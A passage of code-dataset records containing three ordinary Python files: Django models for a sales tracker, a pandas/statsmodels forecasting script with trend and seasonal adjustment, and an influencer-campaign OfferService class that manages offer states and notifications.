{"seq_id": "12248112592", "text": "from django.db import models\nfrom django.contrib.auth.models import User\n# Create your models here.\n\nfrom django.contrib.auth.models import User\n\nclass Userdata(models.Model):\n    User_id=models.IntegerField(auto_created=True,primary_key=True)\n    email = models.CharField(max_length=50, null=True,unique=True)\n    phonenumber=models.IntegerField(default=0,unique=True)\n    Age=models.IntegerField(default=0)\n\nclass dailystatus(models.Model):\n    Area_visited=models.CharField(max_length=100, null=True)\n    total_persons_approched=models.IntegerField(default=0)\n    number_converted=models.IntegerField(default=0)\n    created_on=models.DateTimeField(auto_now_add=True, blank=True)\n    User_f_id=models.ForeignKey('Userdata',on_delete=models.CASCADE)\n\ngen=[\n    ('male','Male'),\n    ('female','FeMale'),\n    ('other','Other'),\n]\nclass customerdata(models.Model):\n    Name=models.CharField(max_length=100, null=True)\n    DOB=models.CharField(max_length=100, null=True)\n    Age=models.CharField(max_length=100, null=True)\n    Gender=models.CharField(max_length=50,choices=gen,default='male')\n    Family_member=models.IntegerField(default=0)\n    created_on=models.DateTimeField(auto_now_add=True, blank=True)\n    Is_client=models.BooleanField(default=False)\n    User_c_id=models.ForeignKey('Userdata',on_delete=models.CASCADE)", "repo_name": "shashankvijendra/salesmarketing-tracker", "sub_path": "salestrackingapp/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 1323, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.models.Model", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 8, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 9, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.db.models.Model", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 33, "usage_type": "attribute"}]}
{"seq_id": "34122619530", "text": "import pandas as pd\nimport numpy as np\nimport json\n\nimport statsmodels.api as sm\nfrom statsmodels.formula.api import ols\nimport warnings\n\n\n\ntrain = json.load(open('./data/train.json', 'r', encoding='utf8'))\nsubmit = json.load(open('./data/sample_submission.json', 'r', encoding='utf8'))\n\n\n#%%\ndata = train.copy()\nresult = {}\nfor k in data.keys():\n    temp_df = pd.DataFrame.from_dict(data[k]).T\n    temp_df = temp_df.reset_index().rename(columns={'index': 'date'})\n    result[k] = temp_df\n\n\n#%% 전처리 : 분석을 위한 데이터 형태 변환\n\ndef create_dataset(data:dict) -> dict:\n    result = {}\n    for k in data.keys():\n        temp_df = pd.DataFrame.from_dict(data[k]).T\n        temp_df = temp_df.reset_index().rename(columns={'index': 'date'})\n        result[k] = temp_df\n    return result\n\nnew_train = create_dataset(train)\nnew_submit = create_dataset(submit)\n\n#%% Logic 1 :  trend 반영\nrange_train = 11 # (학습 데이터) 트렌드 학습 구간 길이\nrange_test = 20 # (테스트 데이터) 동일한 값을 적용할 길이\nsmooth = 0.91 # (테스트 데이터) 트렌드 적용 크기\n\n\nfor k in new_train.keys():\n    print(k)\n    # 학습 데이터에서 최근 평균\n    temp_df = new_train[k].drop(['date'], axis=1)\n    train_mean = np.nanmean(temp_df[::-1][:range_train], axis=0)\n    train_mean = np.nan_to_num(train_mean, nan=0)\n\n    # 테스트 데이터에 적용\n    cycle = int(len(new_submit[k]) / range_test)\n    for c in range(0, cycle):\n        train_mean = train_mean * smooth\n        apply_start = c * range_test\n        apply_end = apply_start + range_test\n\n        new_submit[k].iloc[apply_start:apply_end, 1:] = train_mean\n\n\n#%% Logic 2 : 계절성 반영\ndef get_value(month: int, elem: str) -> float:\n    result = month_mean.loc[month, elem]\n    return result\n\nthreshold = 65\nseason_start = '20160201'\nseason_end = '20180201'\n\n\nfor k in new_train.keys():\n    print(k)\n    temp_target = new_train[k]\n    analysis_period = temp_target.loc[(season_start <= temp_target['date']) & \\\n                                      (season_end > temp_target['date'])]\n\n    check_temp = analysis_period.isnull().sum() # 모든값이 nan인 컬럼에 대해 0으로 대체\n    check_cols = check_temp == len(analysis_period)\n    analysis_period.loc[:, check_cols] = 0\n\n    # month 추출\n    analysis_period['month'] = pd.to_datetime(analysis_period['date']).dt.month\n\n    # anova 검증을 통한 월별 차이의 유의미성 확인\n    elems = check_cols.index.drop('date')\n    aov_list = []\n    for elem in elems:\n        aov_model = ols(f'{elem} ~ C(month)', data=analysis_period).fit()\n        aov = sm.stats.anova_lm(aov_model, typ=2).iloc[0, 2]\n        if len(analysis_period[elem].unique()) == 1: # 모든값이 동일한 경우 예외처리\n            aov = 0\n        aov_list.append(aov)\n\n    # 전체 기간의 월별 평균 계산\n    temp_target['month'] = pd.to_datetime(temp_target['date']).dt.month\n    month_mean = temp_target.groupby(['month']).mean()\n\n    # 테스트 데이터에 적용\n    submit_month = pd.to_datetime(new_submit[k]['date']).dt.month\n    for elem, aov_val in zip(elems, aov_list):\n        if aov_val > threshold:\n            print(f'elem: {elem} / aov_val: {aov_val}')\n            new_submit[k][elem] = submit_month.apply(lambda x: get_value(x, elem))\n\n\n\n", "repo_name": "SohyunJeon/aichallenge_2022", "sub_path": "src/modeling.py", "file_name": "modeling.py", "file_ext": "py", "file_size_in_byte": 3322, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 11, "usage_type": "call"}, {"api_name": "json.load", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.nanmean", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.nan_to_num", "line_number": 48, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 81, "usage_type": "call"}, {"api_name": "statsmodels.formula.api.ols", "line_number": 87, "usage_type": "call"}, {"api_name": "statsmodels.api.stats.anova_lm", "line_number": 88, "usage_type": "call"}, {"api_name": "statsmodels.api.stats", "line_number": 88, "usage_type": "attribute"}, {"api_name": "statsmodels.api", "line_number": 88, "usage_type": "name"}, {"api_name": "pandas.to_datetime", "line_number": 94, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 98, "usage_type": "call"}]}
{"seq_id": "5111937921", "text": "import datetime as dt\nfrom typing import List, Optional\n\nfrom takumi.campaigns import campaign_reserve_state\nfrom takumi.error_codes import (\n    CAMPAIGN_NOT_LAUNCHED_ERROR_CODE,\n    CAMPAIGN_NOT_RESERVABLE_ERROR_CODE,\n    CAMPAIGN_REQUIRES_REQUEST_ERROR_CODE,\n    INFLUENCER_NOT_ELIGIBLE_ERROR_CODE,\n    INVALID_OFFER_STATE_ERROR_CODE,\n    OFFER_REWARD_CHANGED_ERROR_CODE,\n    UNREJECTABLE_OFFER_ERROR_CODE,\n)\nfrom takumi.events.offer import OfferLog\nfrom takumi.extensions import db\nfrom takumi.i18n import gettext as _\nfrom takumi.i18n import locale_context\nfrom takumi.models import Comment, Config, Notification, Offer, OfferEvent, UserCommentAssociation\nfrom takumi.models.campaign import STATES as CAMPAIGN_STATES\nfrom takumi.models.influencer import STATES as INFLUENCER_STATES\nfrom takumi.models.offer import STATES as OFFER_STATES\nfrom takumi.notifications import NotificationClient\nfrom takumi.rewards import RewardCalculator\nfrom takumi.schedule.period import DateTimePeriod\nfrom takumi.services import Service\nfrom takumi.services.exceptions import (\n    AlreadyRequestedException,\n    ApplyFirstException,\n    CampaignFullyReservedException,\n    CampaignNotLaunchedException,\n    CampaignRequiresRequestForParticipation,\n    InfluencerNotEligibleException,\n    InfluencerOnCooldownForAdvertiserException,\n    InvalidAnswersException,\n    OfferAlreadyClaimed,\n    OfferAlreadyExistsException,\n    OfferNotClaimableException,\n    OfferNotDispatchableException,\n    OfferNotRejectableException,\n    OfferNotReservableException,\n    OfferPushNotificationException,\n    OfferRewardChangedException,\n    ServiceException,\n)\nfrom takumi.tasks.instagram_account import update_latest_posts\n\nfrom .campaign import CampaignService\nfrom .influencer import InfluencerService\n\n\ndef validate_answers(prompts, answers):\n    if prompts == []:\n        return\n\n    if answers is None or len(prompts) != len(answers):\n        raise InvalidAnswersException(_(\"You need to answer all the prompts to participate!\"))\n\n    prompts = sorted(prompts, key=lambda x: x[\"text\"])\n    answers = sorted(answers, key=lambda x: x[\"prompt\"])\n\n    for prompt, answer in zip(prompts, answers):\n        if prompt[\"type\"] == \"confirmation\":\n            if len(prompt[\"choices\"]) != len(answer[\"answer\"]):\n                raise InvalidAnswersException(_(\"All confirmations need to be accepted!\"))\n        else:\n            answer_choices = answer[\"answer\"]\n            answer_text = \"\".join(answer_choices).strip()\n            if len(answer_choices) == 0 or answer_text == \"\":\n                raise InvalidAnswersException(\n                    _(\"You need to answer '%(prompt)s'\", prompt=prompt[\"text\"])\n                )\n\n\nclass OfferService(Service):\n    \"\"\"\n    Represents the business model for Offer. This is the bridge between\n    the database and the application.\n    \"\"\"\n\n    SUBJECT = Offer\n    LOG = OfferLog\n\n    @property\n    def offer(self) -> Offer:\n        return self.subject\n\n    # GET\n    @staticmethod\n    def get_by_id(offer_id) -> Optional[Offer]:\n        return Offer.query.get(offer_id)\n\n    @staticmethod\n    def get_top_offers_in_campaign(campaign_id: str) -> Optional[List[Offer]]:\n        \"\"\"A method that filters all accepted offers related to a specific campaign,\n        is ranked descending by ER in-feed and capped at the top three.\n\n        Note:\n            One offer has one creator, therefore, together with all continents of one offer,\n            we get a specific Creator.\n\n        Args:\n            campaign_id: The campaign's id.\n\n        Returns:\n            List of filtered and sorted offers.\n        \"\"\"\n        return (\n            Offer.query.filter(\n                Offer.campaign_id == campaign_id,\n                Offer.state == OFFER_STATES.ACCEPTED,\n                Offer.engagement_rate_static != 0,\n            )\n            .order_by(Offer.engagement_rate_static.desc().nullslast())  # type: ignore\n            .limit(3)\n            .all()\n        )\n\n    @staticmethod\n    def get_for_influencer_in_campaign(influencer_id, campaign_id) -> Optional[Offer]:\n        return Offer.query.filter(\n            Offer.influencer_id == influencer_id, Offer.campaign_id == campaign_id\n        ).one_or_none()\n\n    @staticmethod\n    def get_push_notifications(offer_id):\n        return (\n            OfferEvent.query.join(Offer)\n            .filter(OfferEvent.type == \"send_push_notification\", Offer.id == offer_id)\n            .with_entities(OfferEvent.created)\n            .order_by(OfferEvent.created.desc())\n        ).all()\n\n    @staticmethod\n    def get_revoke_event(id):\n        return (\n            OfferEvent.query.filter(OfferEvent.offer_id == id, OfferEvent.type == \"revoke\")\n            .order_by(OfferEvent.created.desc())\n            .first()\n        )\n\n    @staticmethod\n    def get_rejected_date(id):\n        \"\"\"Rejected date is the date that an offer was one of:\n\n        1. Rejected by influencer\n        2. Revoked by Takumi\n        3. Rejected by a client\n        \"\"\"\n        return (\n            OfferEvent.query.filter(\n                OfferEvent.offer_id == id,\n                OfferEvent.type.in_((\"reject\", \"revoke\", \"reject_candidate\")),\n            )\n            .with_entities(OfferEvent.created)\n            .order_by(OfferEvent.created.desc())\n            .limit(1)\n            .scalar()\n        )\n\n    @staticmethod\n    def get_from_filter(\n        filter_by=tuple(), order_by=tuple(), with_entities=(Offer,), limit=None, method=\"all\"\n    ):\n        return getattr(\n            Offer.query.filter(*filter_by)\n            .order_by(*order_by)\n            .with_entities(*with_entities)\n            .limit(limit),\n            method,\n        )()\n\n    @classmethod  # NOQA: C901\n    def create(cls, campaign_id, influencer_id, reward=None, skip_targeting=False):\n        influencer = InfluencerService.get_by_id(influencer_id)\n        campaign = CampaignService.get_by_id(campaign_id)\n\n        if influencer is None:\n            raise ServiceException(f\" not found\")\n\n        if campaign is None:\n            raise ServiceException(f\" not found\")\n\n        if reward is None:\n            reward = RewardCalculator(campaign).calculate_reward_for_influencer(influencer)\n\n        if not campaign.fund.is_reservable():\n            raise CampaignFullyReservedException(\"Campaign is already fully reserved\")\n\n        if campaign.advertiser.on_cooldown(influencer):\n            raise InfluencerOnCooldownForAdvertiserException(\n                'Influencer: \"{}\" is on cooldown for advertiser \"{}\"'.format(\n                    influencer.username, campaign.advertiser.name\n                )\n            )\n\n        if campaign.submission_deadline and campaign.submission_deadline < dt.datetime.now(\n            dt.timezone.utc\n        ):\n            raise ServiceException(\"A submission deadline for the campaign has already passed\")\n        if campaign.deadline and campaign.deadline < dt.datetime.now(dt.timezone.utc):\n            raise ServiceException(\"A deadline for the campaign has already passed\")\n\n        existing_offer = cls.get_for_influencer_in_campaign(influencer.id, campaign.id)\n        if existing_offer is not None:\n            raise OfferAlreadyExistsException(\n                \" already has an offer () for \".format(\n                    influencer.id, existing_offer.id, campaign.id\n                )\n            )\n\n        if not skip_targeting:\n            influencer_eligible_for_campaign = (\n                influencer.state in (INFLUENCER_STATES.VERIFIED, INFLUENCER_STATES.REVIEWED)\n                and influencer.is_eligible\n                and campaign.targeting.targets_influencer(influencer)\n            )\n\n            if not influencer_eligible_for_campaign:\n                raise InfluencerNotEligibleException(\n                    \"Influencer is not eligible\", INFLUENCER_NOT_ELIGIBLE_ERROR_CODE\n                )\n        if influencer.target_region:\n            vat_percentage = influencer.target_region.get_vat_percentage(\n                dt.datetime.now(dt.timezone.utc).date()\n            )\n        else:\n            vat_percentage = None\n\n        offer = Offer()\n        log = OfferLog(offer)\n\n        if influencer.instagram_account:\n            followers_per_post = influencer.instagram_account.followers\n        else:\n            followers_per_post = 0\n\n        log.add_event(\n            \"create\" if campaign.apply_first else \"create_invite\",\n            {\n                \"campaign_id\": campaign.id,\n                \"influencer_id\": influencer.id,\n                \"vat_percentage\": vat_percentage,\n                \"reward\": reward,\n                \"followers_per_post\": followers_per_post,\n                \"engagements_per_post\": influencer.estimated_engagements_per_post,\n            },\n        )\n\n        db.session.add(offer)\n        db.session.commit()\n\n        # Trigger an update of latest posts for the influencer\n        if influencer.instagram_account:\n            update_latest_posts.delay(influencer.instagram_account.id)\n\n        return offer\n\n    # PUT\n    def make_comment(self, content, creator):\n        self.offer.comments.append(Comment.create(content, creator, self.offer))\n\n    def mark_comments_as_seen_by(self, user):\n        for comment in self.offer.comments:\n            if not comment.seen_by_user(user.id):\n                UserCommentAssociation.create(user, comment)\n\n    def revoke(self, notify=True):\n        if self.offer.is_claimable:\n            raise ServiceException(\"Can't revoke a claimable offer\")\n        if self.offer.state not in (\n            OFFER_STATES.PENDING,\n            OFFER_STATES.INVITED,\n            OFFER_STATES.ACCEPTED,\n            OFFER_STATES.REQUESTED,\n            OFFER_STATES.APPROVED_BY_BRAND,\n            OFFER_STATES.CANDIDATE,\n        ):\n            raise ServiceException(f\"Can't revoke a {self.offer.state} offer\")\n        self.log.add_event(\"revoke\")\n\n        if notify:\n            influencer = self.offer.influencer\n            if self.offer.state == OFFER_STATES.REQUESTED and influencer.has_device:\n                client = NotificationClient.from_influencer(influencer)\n                with locale_context(influencer.user.request_locale):\n                    client.send_rejection(\n                        _(\n                            'Unfortunately, you weren\\'t selected for \"%(campaign)s\"',\n                            campaign=self.offer.campaign.name,\n                        ),\n                        self.offer.campaign,\n                    )\n\n    def renew(self):\n        self.log.add_event(\"renew\")\n\n    def request_participation(self, answers=[], ignore_prompts=False):\n        from takumi.services.influencer import FetchingAudienceInsightsFailed, InfluencerService\n\n        influencer = self.offer.influencer\n        user = influencer.user\n        campaign = self.offer.campaign\n\n        if user.facebook_account:\n            try:\n                InfluencerService(self.offer.influencer).fetch_and_save_audience_insights()\n            except FetchingAudienceInsightsFailed:\n                pass\n\n        if campaign.requires_tiktok_account and not influencer.user.tiktok_username:\n            raise ServiceException(\n                \"This campaign requires a TikTok account. Please configure a TikTok username in your profile.\"\n            )\n        if self.offer.campaign.requires_facebook:\n            if not influencer.info.get(\"FACEBOOK_PAGE_SKIP_CAMPAIGN_CHECK\", False) and (\n                not influencer.user.facebook_account or not influencer.user.facebook_account.active\n            ):\n                raise ServiceException(\"Please link your Facebook account\")\n        if self.offer.state == OFFER_STATES.REQUESTED:\n            raise AlreadyRequestedException(\"Participation has already been requested\")\n        if self.offer.state == OFFER_STATES.REJECTED:\n            raise ServiceException(\"Offer has already been rejected\")\n\n        if not ignore_prompts:\n            validate_answers(campaign.prompts, answers)\n\n        self.log.add_event(\"request_participation\", {\"answers\": answers})\n\n        from takumi.tasks import audit as audit_tasks\n\n        config = Config.get(\"PROCESS_HYPEAUDITOR_REPORTS\")\n        if config and config.value is True:\n            audit_tasks.create_audit.delay(influencer_id=self.offer.influencer.id)\n\n    def reserve(self, answers=[]):\n        with campaign_reserve_state(self.offer.campaign):\n            if self.offer.campaign.apply_first:\n                raise CampaignRequiresRequestForParticipation(\n                    \"Campaign needs to be requested for participation\",\n                    CAMPAIGN_REQUIRES_REQUEST_ERROR_CODE,\n                )\n            if not self.offer.campaign.fund.is_reservable():\n                raise CampaignFullyReservedException(\n                    \"Campaign is already fully reserved\", CAMPAIGN_NOT_RESERVABLE_ERROR_CODE\n                )\n\n            if self.offer.campaign.state != CAMPAIGN_STATES.LAUNCHED:\n                raise CampaignNotLaunchedException(\n                    \"Campaign isn't launched yet!\", CAMPAIGN_NOT_LAUNCHED_ERROR_CODE\n                )\n\n            if self.offer.state != OFFER_STATES.INVITED:\n                raise OfferNotReservableException(\n                    f\"Cannot reserve {self.offer.state} offer\",\n                    INVALID_OFFER_STATE_ERROR_CODE,\n                )\n\n            if any(post.deadline_passed for post in self.offer.campaign.posts):\n                raise OfferNotReservableException(\"Deadline has already passed in this campaign\")\n\n            if self.offer.campaign.reward_model == \"reach\":\n                current_reward = RewardCalculator(\n                    self.offer.campaign\n                ).calculate_reward_for_influencer(self.offer.influencer)\n                if current_reward != self.offer.reward:\n                    self.update_reward(current_reward)\n                    db.session.commit()\n\n                    raise OfferRewardChangedException(\n                        \"There's limited space left on this campaign, so we're not able to offer the full reward\",\n                        OFFER_REWARD_CHANGED_ERROR_CODE,\n                    )\n            validate_answers(self.offer.campaign.prompts, answers)\n            self.log.add_event(\"reserve\", {\"answers\": answers})\n\n        from takumi.tasks import audit as audit_tasks\n\n        config = Config.get(\"PROCESS_HYPEAUDITOR_REPORTS\")\n        if config and config.value is True:\n            audit_tasks.create_audit.delay(influencer_id=self.offer.influencer.id)\n\n    def force_reserve(self):\n        with campaign_reserve_state(self.offer.campaign):\n            if self.offer.state not in [\n                OFFER_STATES.PENDING,\n                OFFER_STATES.INVITED,\n                OFFER_STATES.REJECTED,\n                OFFER_STATES.REVOKED,\n            ]:\n                raise OfferNotReservableException(\n                    f\"Cannot force reserve {self.offer.state} offer\",\n                    INVALID_OFFER_STATE_ERROR_CODE,\n                )\n            if not self.offer.campaign.fund.is_reservable():\n                raise CampaignFullyReservedException(\n                    \"Campaign is already fully reserved\", CAMPAIGN_NOT_RESERVABLE_ERROR_CODE\n                )\n\n            if self.offer.campaign.state != CAMPAIGN_STATES.LAUNCHED:\n                raise CampaignNotLaunchedException(\n                    \"Campaign isn't launched yet!\", CAMPAIGN_NOT_LAUNCHED_ERROR_CODE\n                )\n\n            if any(post.deadline_passed for post in self.offer.campaign.posts):\n                raise OfferNotReservableException(\"Deadline has already passed in this campaign\")\n\n            if self.offer.campaign.shipping_required:\n                # Confirm the shipping address\n                address = self.offer.influencer.address\n\n                if address:\n                    address.modified = dt.datetime.now(dt.timezone.utc) + dt.timedelta(\n                        minutes=1\n                    )  # XXX: Horrible race condition here\n                    db.session.add(address)\n\n            self.log.add_event(\"force_reserve\")\n\n    def accept_request(self, ignore_campaign_limits=False):\n        with campaign_reserve_state(self.offer.campaign):\n            if (\n                self.offer.campaign.brand_match\n                and self.offer.state != OFFER_STATES.APPROVED_BY_BRAND\n            ):\n                raise OfferNotReservableException(\n                    \"Cannot accept {} offer. It needs to be brand approved first\".format(\n                        self.offer.state\n                    ),\n                    INVALID_OFFER_STATE_ERROR_CODE,\n                )\n            if self.offer.state not in [OFFER_STATES.APPROVED_BY_BRAND, OFFER_STATES.REQUESTED]:\n                raise OfferNotReservableException(\n                    \"Cannot accept {} offer. It needs to be accepted by the influencer\".format(\n                        self.offer.state\n                    ),\n                    INVALID_OFFER_STATE_ERROR_CODE,\n                )\n            if not self.offer.campaign.fund.is_reservable() and not ignore_campaign_limits:\n                raise CampaignFullyReservedException(\n                    \"Campaign is already fully reserved\", CAMPAIGN_NOT_RESERVABLE_ERROR_CODE\n                )\n\n            if self.offer.campaign.state != CAMPAIGN_STATES.LAUNCHED:\n                raise CampaignNotLaunchedException(\n                    \"Campaign isn't launched yet!\", CAMPAIGN_NOT_LAUNCHED_ERROR_CODE\n                )\n\n            if any(post.deadline_passed for post in self.offer.campaign.posts):\n                raise OfferNotReservableException(\"Deadline has already passed in this campaign\")\n\n            self.log.add_event(\"accept_requested_participation\")\n            if self.offer.influencer.has_device:\n                self.send_push_notification(\n                    _(\n                        'You have been accepted into the campaign \"%(campaign)s\"',\n                        campaign=self.offer.campaign.name,\n                    )\n                )\n\n            # Clear selected flag if it was set\n            if self.offer.is_selected:\n                self.set_is_selected(False)\n\n    def update_reward(self, reward):\n        if self.offer.claimed:\n            raise OfferAlreadyClaimed(\"Offer has already been claimed\")\n\n        self.log.add_event(\"update_reward\", {\"reward\": reward})\n\n    def reject(self):\n        if not self.offer.can_reject():\n            raise OfferNotRejectableException(\n                \"This offer cannot be rejected\", UNREJECTABLE_OFFER_ERROR_CODE\n            )\n        OfferLog(self.offer).add_event(\"reject\")\n\n    def mark_dispatched(self, tracking_code=None):\n        if not self.offer.campaign.shipping_required:\n            raise OfferNotDispatchableException(\n                \"Can't dispatch an offer for a campaign without shipping\"\n            )\n\n        if self.offer.state != OFFER_STATES.ACCEPTED:\n            raise OfferNotDispatchableException(\"Can't dispatch an offer that hasn't been accepted\")\n\n        properties = {}\n        if tracking_code:\n            properties[\"tracking_code\"] = tracking_code\n\n        OfferLog(self.offer).add_event(\"mark_dispatched\", properties)\n\n    def set_claimable(self, force=False):\n        if not force:\n            if self.offer.state != OFFER_STATES.ACCEPTED:\n                raise OfferNotClaimableException(\n                    f\"Cannot set {self.offer.state} offer as claimable\",\n                    INVALID_OFFER_STATE_ERROR_CODE,\n                )\n            if not self.offer.has_all_gigs_claimable():\n                raise OfferNotClaimableException(\n                    \"All gigs need to have passed the review period in order to become claimable\"\n                )\n        self.log.add_event(\"set_claimable\")\n\n    def unset_claimable(self):\n        self.log.add_event(\"unset_claimable\")\n\n    def last_gig_submitted(self):\n        claimable_time = self.offer.get_claimable_time()\n        if not claimable_time:\n            return None\n\n        OfferLog(self.offer).add_event(\"last_gig_submitted\", {\"payable\": claimable_time})\n\n        if self.offer.campaign.pro_bono:\n            # Create Takumi payment to mark gig as paid out\n            from takumi.models.payment import STATES as PAYMENT_STATES\n            from takumi.services import PaymentService\n\n            self.offer.is_claimable = True\n            payment = PaymentService.create(\n                self.offer.id, {\"destination\": {\"type\": \"takumi\", \"value\": \"pro-bono\"}}\n            )\n            payment.successful = True\n            payment.state = PAYMENT_STATES.PAID\n\n    def send_push_notification(self, message=None):\n        if not self.offer.influencer.has_device:\n            raise OfferPushNotificationException(\n                f\"Influencer {self.offer.influencer.username} has no registered device\"\n            )\n        if self.offer.state not in (\n            OFFER_STATES.PENDING,\n            OFFER_STATES.ACCEPTED,\n            OFFER_STATES.INVITED,\n        ):\n            raise OfferPushNotificationException(\n                f\"Cannot send a push notification for offer in {self.offer.state} state\",\n                INVALID_OFFER_STATE_ERROR_CODE,\n            )\n        if self.offer.has_all_gigs():\n            raise OfferPushNotificationException(\n                \"Offer already has all gigs. Cannot send push notification\"\n            )\n        if self.offer.campaign.state != CAMPAIGN_STATES.LAUNCHED:\n            raise OfferPushNotificationException(\n                \"Can't send a push notification for a campaign in {} state. Campaign needs to be launched\".format(\n                    self.offer.campaign.state\n                )\n            )\n\n        message = (\n            message\n            or self.offer.campaign.push_notification_message\n            or f\"New campaign opportunity from {self.offer.campaign.advertiser.name}\"\n        )\n        self.log.add_event(\"send_push_notification\", {\"message\": message})\n        db.session.add(\n            Notification(\n                campaign_id=self.offer.campaign.id,\n                device_id=self.offer.influencer.device.id,\n                message=message,\n            )\n        )\n\n    def extend_submission_deadline(self, hours):\n        if self.offer.submission_deadline is None:\n            raise Exception()  # XXX: No deadline on the offer\n\n        self.log.add_event(\n            \"set_submission_deadline\",\n            {\"deadline\": DateTimePeriod(hours).after(self.offer.submission_deadline)},\n        )\n\n    def update_engagements_per_post(self):\n        new_engagement = self.offer.calculate_engagements_per_post()\n        self.log.add_event(\n            \"update_engagement\",\n            {\n                \"engagements_per_post\": new_engagement,\n                \"old_engagements_per_post\": self.offer.engagements_per_post,\n            },\n        )\n\n    def set_is_selected(self, is_selected):\n        campaign = self.offer.campaign\n        if not campaign.apply_first:\n            raise ApplyFirstException(\"Only Apply First campaigns have selected\")\n\n        self.log.add_event(\"set_is_selected\", {\"is_selected\": is_selected})\n\n    def set_as_candidate(self):\n        campaign = self.offer.campaign\n        campaign.candidates_submitted = dt.datetime.now(dt.timezone.utc)\n\n        if not campaign.apply_first:\n            raise ApplyFirstException(\"Only apply first campaigns have candidates\")\n\n        self.log.add_event(\"set_as_candidate\")\n\n        # Clear selected if it was set\n        if self.offer.is_selected:\n            self.set_is_selected(False)\n\n    def approve_candidate(self):\n        campaign = self.offer.campaign\n\n        if not campaign.apply_first:\n            raise ApplyFirstException(\"Only apply first campaigns have candidates\")\n\n        self.log.add_event(\"approve_candidate\")\n\n    def reject_candidate(self, reason):\n        campaign = self.offer.campaign\n\n        if not campaign.apply_first:\n            raise ApplyFirstException(\"Only apply first campaigns have candidates\")\n\n        self.log.add_event(\"reject_candidate\", {\"reason\": reason})\n\n        influencer = self.offer.influencer\n        if influencer.has_device:\n            client = NotificationClient.from_influencer(influencer)\n            with locale_context(influencer.user.request_locale):\n                client.send_rejection(\n                    _(\n                        'Unfortunately, you weren\\'t selected for \"%(campaign)s\"',\n                        campaign=self.offer.campaign.name,\n                    ),\n                    self.offer.campaign,\n                )\n\n    def revert_rejection(self):\n        \"\"\"Revert a rejected offer into its previous state\n\n        Rejected offers include offers in the following states;\n            * Rejected by the influencer\n            * Rejected by the brand\n            * Revoked by brand\n\n        \"\"\"\n        if self.offer.state == OFFER_STATES.REJECTED:\n            event_type = \"reject\"\n        elif self.offer.state == OFFER_STATES.REJECTED_BY_BRAND:\n            event_type = \"reject_candidate\"\n        elif self.offer.state == OFFER_STATES.REVOKED:\n            event_type = \"revoke\"\n        else:\n            raise ServiceException(\"Offer has to be rejected or revoked to revert rejection\")\n\n        event = (\n            OfferEvent.query.filter(\n                OfferEvent.offer == self.offer, OfferEvent.type == event_type\n            ).order_by(OfferEvent.event[\"_created\"].astext.desc())\n        ).first()\n        if event is None:\n            raise ServiceException(\"Unable to find the rejection event\")\n\n        previous_state = event.event.get(\"_from_state\")\n\n        if previous_state is None:\n            raise ServiceException(\"Previous state unknown, please contact support\")\n        elif previous_state == OFFER_STATES.ACCEPTED:\n            campaign = self.offer.campaign\n            units = campaign.fund.get_offer_units(self.offer)\n            if not campaign.fund.can_reserve_units(units):\n                raise ServiceException(\"Not enough space on the campaign to revert rejection\")\n\n        self.log.add_event(\"revert_rejection\", {\"state\": 